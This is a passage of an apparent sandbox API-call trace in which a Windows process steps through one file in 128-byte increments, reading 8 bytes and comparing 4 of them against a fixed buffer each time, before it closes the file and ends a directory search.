-1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=59008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe680 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=59136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe700 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=59264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe780 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=59392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe800 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=59520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe880 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=59648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe900 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=59776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe980 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=59904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea00 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=60032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea80 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=60160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xeb00 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=60288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xeb80 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=60416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec00 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=60544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec80 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=60672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xed00 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=60800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xed80 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=60928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xee00 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=61056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xee80 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=61184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef00 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=61312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef80 [0069.111] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.111] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.111] SetFilePointer (in: hFile=0xc8, lDistanceToMove=61440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf000 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=61568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf080 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=61696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf100 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=61824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf180 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=61952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf200 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=62080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf280 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=62208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf300 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=62336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf380 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=62464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf400 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=62592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf480 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=62720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf500 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=62848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf580 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.112] SetFilePointer (in: hFile=0xc8, lDistanceToMove=62976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf600 [0069.112] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.112] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=63104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf680 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=63232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf700 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=63360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf780 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=63488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf800 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=63616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf880 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=63744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf900 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=63872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf980 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=64000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfa00 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=64128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfa80 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=64256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb00 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=64384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb80 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=64512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfc00 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.113] SetFilePointer (in: hFile=0xc8, lDistanceToMove=64640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfc80 [0069.113] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.113] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.114] SetFilePointer (in: hFile=0xc8, lDistanceToMove=64768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfd00 [0069.114] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.114] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.114] SetFilePointer (in: hFile=0xc8, lDistanceToMove=64896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfd80 [0069.114] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.114] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.114] SetFilePointer (in: hFile=0xc8, lDistanceToMove=65024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe00 [0069.114] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.114] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.114] SetFilePointer (in: hFile=0xc8, lDistanceToMove=65152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe80 [0069.114] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.114] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.114] SetFilePointer (in: hFile=0xc8, lDistanceToMove=65280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xff00 [0069.114] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.114] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.114] SetFilePointer (in: hFile=0xc8, lDistanceToMove=65408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xff80 [0069.114] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.114] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.114] CloseHandle (hObject=0xc8) returned 1 [0069.114] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 0 